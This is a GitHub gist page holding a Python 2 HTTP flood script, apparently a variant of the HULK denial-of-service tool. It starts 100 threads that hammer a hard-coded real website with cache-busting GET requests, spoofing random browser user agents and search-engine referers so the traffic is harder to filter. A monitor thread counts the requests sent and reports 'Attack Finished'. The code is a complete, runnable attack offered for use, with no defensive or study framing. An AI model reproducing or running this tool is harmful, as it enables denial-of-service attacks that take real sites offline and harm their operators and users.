Skip to content

Instantly share code, notes, and snippets.

@yanmhlv
Created May 20, 2013 13:31
Show Gist options
  • Save yanmhlv/5612239 to your computer and use it in GitHub Desktop.
Save yanmhlv/5612239 to your computer and use it in GitHub Desktop.
# coding: utf-8
import urllib2
import sys
import random
import re
import threading
request_counter = 0
flag = 0
safe = 0
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)
def inc_counter():
global request_counter
request_counter += 1
def set_flag(val):
global flag
flag = val
def set_safe():
global safe
safe = 1
headers = {
'useragents': [
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
],
'refers': [
'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=',
'http://engadget.search.aol.com/search?q=',
'http://vk.com/id1',
]
}
def http_call(url):
code = 0
if url.count("?")>0:
param_joiner="&"
else:
param_joiner="?"
#request = urllib2.Request(url)
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
host = re.search('http\://([^/]*)/?.*', url).group(1)
request.add_header('User-Agent', random.choice(headers['useragents']))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers['refers']) + buildblock(random.randint(5,10)))
request.add_header('Keep-Alive', random.randint(110,120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host', host)
try:
urllib2.urlopen(request)
except urllib2.HTTPError as err:
#print e.code
set_flag(1)
print('Response Code 500')
code = 500
except urllib2.URLError as err:
#print e.reason
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return code
class HTTPThread(threading.Thread):
def run(self):
try:
while flag < 2:
code = http_call(url)
if code == 500 & safe == 1:
set_flag(2)
except KeyboardInterrupt as err:
print(err)
sys.exit(-1)
except Exception as err:
pass
class MonitorThread(threading.Thread):
def run(self):
previous = request_counter
while flag == 0:
if (previous + 100 < request_counter) & (previous <> request_counter):
print("%d Requests Sent" % (request_counter))
previous = request_counter
if flag == 2:
print("\nAttack Finished")
if __name__ == '__main__':
url = 'http://everview.ru/'
for i in range(100):
t = HTTPThread()
t.start()
t = MonitorThread()
t.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment